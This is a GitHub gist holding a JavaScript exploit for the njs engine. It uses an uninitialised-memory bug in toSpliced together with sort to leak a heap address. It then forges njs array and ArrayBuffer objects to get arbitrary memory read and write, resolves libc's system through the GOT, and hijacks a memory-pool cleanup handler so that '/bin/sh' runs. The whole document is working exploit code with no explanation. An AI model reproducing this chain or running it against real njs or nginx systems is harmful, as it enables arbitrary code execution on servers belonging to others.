Skip to content

Instantly share code, notes, and snippets.

@iamgweej
Created May 31, 2024 14:50
Show Gist options
  • Save iamgweej/7dd5f1e902b1de1c6bdf9b5b653e339b to your computer and use it in GitHub Desktop.
Save iamgweej/7dd5f1e902b1de1c6bdf9b5b653e339b to your computer and use it in GitHub Desktop.
let uninitArr = null;
let buggy_arr = new Array(0x100);
Object.defineProperty(buggy_arr, 0, { get: (s) => { throw new Error(); } });
let arrBuf = new ArrayBuffer(0x378);
let u8Arr = new Uint8Array(arrBuf);
u8Arr[16 * 0x37 + 0] = 5; // njs_value_s.type = NJS_STRING
u8Arr[16 * 0x37 + 1] = 0xee; // njs_value_s.short_string.{size,length} = 14
// u8Arr[16 * 0x37 + 8] is njs_mp_block_t.node.left, (were not in debug :D)
// which is confused with njs_value_s.short_string.start[6:14]
u8Arr.sort((x, y) => { return 0; })
try {
uninitArr = buggy_arr.toSpliced(0x38);
} catch (e) { }
let leakString = uninitArr[0x37];
function longAdd(u1, u2, u3) {
let sum = 0;
let carry = 0;
for (let i = 0; i < 8; i++) {
sum = u1.getUint8(i) + u2.getUint8(i) + carry;
if (sum >= 0x100) {
carry = 1;
sum -= 0x100;
} else {
carry = 0;
}
u3.setUint8(i, sum);
}
return u3;
}
function toLong(x) {
let a = new DataView(new ArrayBuffer(8));
a.setUint32(0, x, true)
a.setUint32(4, 0, true)
return a;
}
let long1 = toLong(1);
function longNeg(u1, u2) {
for (let i = 0; i < 8; i++) {
u2.setUint8(i, 0xff - u1.getUint8(i));
}
longAdd(u2, long1, u2);
return u2;
}
function longSub(u1, u2, u3) {
longNeg(u2, u3);
longAdd(u1, u3, u3);
return u3;
}
function logLong(u) {
console.log(u.getUint32(4, true).toString(16).padStart(8, '0') + u.getUint32(0, true).toString(16).padStart(8, '0'))
}
function longEq(u1, u2) {
return (u1.getUint32(0) == u2.getUint32(0)) && (u1.getUint32(4) == u2.getUint32(4));
}
function arrToLong(x0, x1, x2, x3, x4, x5, x6, x7) {
let a = new ArrayBuffer(8);
let u = new Uint8Array(a);
u[0] = x0;
u[1] = x1;
u[2] = x2;
u[3] = x3;
u[4] = x4;
u[5] = x5;
u[6] = x6;
u[7] = x7;
return new DataView(a);
}
let leakAddr = arrToLong(
leakString.charCodeAt(6),
leakString.charCodeAt(7),
leakString.charCodeAt(8),
leakString.charCodeAt(9),
leakString.charCodeAt(10),
leakString.charCodeAt(11),
leakString.charCodeAt(12),
leakString.charCodeAt(13),
);
// ====== spray and pray ======
let arrayBuffers = new Array(0x400);
for (let i = 0; i < 0x400; i++) {
arrayBuffers[i] = new Uint8Array(new ArrayBuffer(0x800));
arrayBuffers[i].fill(0x13);
}
let uninitArr2 = null;
let buggyArr2 = new Array(0x100);
Object.defineProperty(buggyArr2, 0, { get: (s) => { throw new Error(); } });
let arrBuf2 = new ArrayBuffer(0x380);
let u8Arr2 = new Uint8Array(arrBuf2);
let dataView2 = new DataView(arrBuf2);
let guessAddr = longAdd(
leakAddr,
toLong(0x400 * 0x400),
toLong(0)
);
u8Arr2[16 * 0x36 + 0x0] = 17; // njs_value_s.type = NJS_ARRAY
u8Arr2[16 * 0x36 + 0x1] = 1; // njs_value_s.data.truth = 1
u8Arr2[16 * 0x36 + 0x2] = 0;
u8Arr2[16 * 0x36 + 0x3] = 0; // njs_value_s.data.magic16 = 0
u8Arr2[16 * 0x36 + 0x4] = 0;
u8Arr2[16 * 0x36 + 0x5] = 0;
u8Arr2[16 * 0x36 + 0x6] = 0;
u8Arr2[16 * 0x36 + 0x7] = 0; // njs_value_s.data.magic32 = 0
dataView2.setUint32(16 * 0x36 + 8, guessAddr.getUint32(0))
dataView2.setUint32(16 * 0x36 + 0xc, guessAddr.getUint32(4))
u8Arr2[16 * 0x37 + 0x0] = 5; // njs_value_s.type = NJS_STRING
u8Arr2[16 * 0x37 + 0x1] = 0xff; // njs_value_s.short_string.{size,length} = 16
u8Arr2[16 * 0x37 + 0x2] = 0xff; // njs_value_s.long_string.external = 0xff
u8Arr2[16 * 0x37 + 0x4] = 0xff;
u8Arr2[16 * 0x37 + 0x5] = 0xff;
u8Arr2[16 * 0x37 + 0x6] = 0xff;
u8Arr2[16 * 0x37 + 0x7] = 0xff; // njs_value_s.long_string.size = 0xffffffff
dataView2.setUint32(16 * 0x37 + 8, guessAddr.getUint32(0))
dataView2.setUint32(16 * 0x37 + 0xc, guessAddr.getUint32(4))
u8Arr2.sort((x, y) => { return 0; })
try {
uninitArr2 = buggyArr2.toSpliced(0x38);
} catch (e) { }
let fakeArr = uninitArr2[0x36];
let fakeStr = uninitArr2[0x37];
if (fakeStr.length != 0x13131313) {
throw new Error("lose :(");
}
let ab = null;
let offset = 0;
let found = false;
for (let i = 0; i < 0x400 && !found; i++) {
// aligned to 16 :D
ab = arrayBuffers[i];
for (offset = 0; offset < 0x800 && !found; offset += 8) {
ab[offset] = 0;
if (fakeStr.length != 0x13131313) {
found = true;
break;
}
}
}
if (!found) {
throw new Error("wtf?");
}
// ZZZZZZZZZZZZZZyyZZZZZZZZZZZZZZZZZZZZZZ
// ^ab ^guessAddr
// ^ab+offset
if (0x800 - (offset - 8) < 0x40) {
throw new Error("bad luck :( TODO: better numbers!");
}
let fakeNjsArrayView = new DataView(ab.buffer, offset - 8, 0x40);
let abStart = longSub(guessAddr, toLong(offset - 8), toLong(0));
let rangeStart = offset - 8;
let rangeEnd = offset - 8 + 0x40;
function getMem(size) {
if (size <= rangeStart) {
rangeStart -= size;
return new DataView(ab.buffer, rangeStart, size);
} else if (size <= 0x800 - rangeEnd) {
let ret = new DataView(ab.buffer, rangeEnd, size)
rangeEnd += size;
return ret;
}
throw new Error("Out of space!");
}
let fakeArrayStartView = getMem(0x10);
let fakeArrayStartAddr = longAdd(abStart, toLong(fakeArrayStartView.byteOffset), toLong(0));
fakeNjsArrayView.setUint8(0x22, 8); // fast array - offset 0x22 bit 3
fakeNjsArrayView.setUint8(0x28, 0);
fakeNjsArrayView.setUint8(0x29, 0);
fakeNjsArrayView.setUint8(0x2a, 0);
fakeNjsArrayView.setUint8(0x2b, 0);
fakeNjsArrayView.setUint32(0x2c, 0xffffffff); // array length
fakeNjsArrayView.setUint32(0x30, fakeArrayStartAddr.getUint32());
fakeNjsArrayView.setUint32(0x34, fakeArrayStartAddr.getUint32(4)); // fake array alloc
// Leak the prototype to use it in fake DataViews...
fakeArr[0] = fakeNjsArrayView.buffer.__proto__
let arrayBufferProtoAddr = toLong(0);
arrayBufferProtoAddr.setInt32(0, fakeArrayStartView.getUint32(8))
arrayBufferProtoAddr.setInt32(4, fakeArrayStartView.getUint32(0xc))
let fakeArrayBufferView = getMem(56);
let fakeArrayBufferAddr = longAdd(abStart, toLong(fakeArrayBufferView.byteOffset), toLong(0));
fakeArrayStartView.setUint8(0, 24) // NJS_ARRAY_BUFFER
fakeArrayStartView.setUint8(1, 1) // truth
fakeArrayStartView.setUint32(8, fakeArrayBufferAddr.getUint32());
fakeArrayStartView.setUint32(0xc, fakeArrayBufferAddr.getUint32(4));
fakeArrayBufferView.setUint32(0, 0)
fakeArrayBufferView.setUint32(4, 0) // object.hash
fakeArrayBufferView.setUint32(8, 0)
fakeArrayBufferView.setUint32(0xc, 0) // object.shared_hash
fakeArrayBufferView.setUint32(0x10, arrayBufferProtoAddr.getUint32(0))
fakeArrayBufferView.setUint32(0x14, arrayBufferProtoAddr.getUint32(4)) // object.__proto__
fakeArrayBufferView.setUint32(0x18, 0)
fakeArrayBufferView.setUint32(0x1c, 0) // object.slots
fakeArrayBufferView.setUint32(0x20, 0) // object.type
fakeArrayBufferView.setUint32(0x21, 0) // object.shared
fakeArrayBufferView.setUint32(0x22, 0) // object.{extensible,error_data,stack_attached,fast_array}
fakeArrayBufferView.setUint32(0x28, 0xffffffff)
fakeArrayBufferView.setUint32(0x2c, 0) // size
let fakeArrayBuffer = fakeArr[0];
function pointFakeBuffer(addr) {
fakeArrayBufferView.setUint32(0x30, addr.getUint32(0))
fakeArrayBufferView.setUint32(0x34, addr.getUint32(4)) // data
}
pointFakeBuffer(arrayBufferProtoAddr)
let rwDataView = new DataView(fakeArrayBuffer)
fakeArr[0] = Symbol.for("idontexistlol")
let symbolNameAddr = toLong(0);
symbolNameAddr.setInt32(0, fakeArrayStartView.getUint32(8))
symbolNameAddr.setInt32(4, fakeArrayStartView.getUint32(0xc))
function arbRead(addr, to) {
pointFakeBuffer(addr)
to.setInt32(0, rwDataView.getUint32(0))
to.setInt32(4, rwDataView.getUint32(4))
return to
}
let symbolNodeAddr = longSub(symbolNameAddr, toLong(32), toLong(0))
let long8 = toLong(8)
let symbolNodeRight = toLong(0)
arbRead(longAdd(symbolNodeAddr, long8, symbolNodeRight), symbolNodeRight)
let globalSymbolTreeSentinel = toLong(0);
let temp = null;
while (symbolNodeRight.getUint8(7) == 0) {
temp = globalSymbolTreeSentinel
globalSymbolTreeSentinel = symbolNodeAddr
symbolNodeAddr = symbolNodeRight
symbolNodeRight = arbRead(longAdd(symbolNodeAddr, long8, temp), temp)
}
let vmPtr = longSub(globalSymbolTreeSentinel, toLong(784), toLong(0))
let memPoolPtr = longAdd(vmPtr, toLong(256), toLong(0))
let memPool = arbRead(memPoolPtr, toLong(0))
let memPoolCleanup = longAdd(memPool, toLong(64), toLong(0))
let fakeCleanup = getMem(0x18);
let fakeCleanupAddr = longAdd(abStart, toLong(fakeCleanup.byteOffset), toLong(0));
let binShAddr = longAdd(abStart, toLong(fakeCleanup.byteOffset + 0x10), toLong(0))
// symbolNodeAddr is `njs_symbol_rbtree_cmp`
// 0x44b9e - njs.sym["njs_symbol_rbtree_cmp"]
// 0xc6d58 - njs.sym["got.malloc"]
// 0x9a0e0 - libc.sym["malloc"]
// 0x52290 - libc.sym["system"]
// FIXME: (portability) scan for an ELF header and parse program headers to find libc
let njsBase = longSub(symbolNodeAddr, toLong(0x44b9e), toLong(0))
let gotMalloc = longAdd(njsBase, toLong(0xc6d58), toLong(0))
let malloc = arbRead(gotMalloc, toLong(0))
let libcBase = longSub(malloc, toLong(0x9a0e0), toLong(0))
let libcSystem = longAdd(libcBase, toLong(0x52290), toLong(0))
fakeCleanup.setUint32(0, libcSystem.getUint32(0))
fakeCleanup.setUint32(4, libcSystem.getUint32(4)) // handler
fakeCleanup.setUint32(8, binShAddr.getUint32(0))
fakeCleanup.setUint32(0xc, binShAddr.getUint32(4)) // data ptr
fakeCleanup.setUint32(0x10, 0x6e69622f, true)
fakeCleanup.setUint32(0x14, 0x68732f, true) // "/bin/sh\0"
function arbWrite(what, where) {
pointFakeBuffer(where)
rwDataView.setUint32(0, what.getUint32(0))
rwDataView.setUint32(4, what.getUint32(4))
}
arbWrite(fakeCleanupAddr, memPoolCleanup)
console.log("Done!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment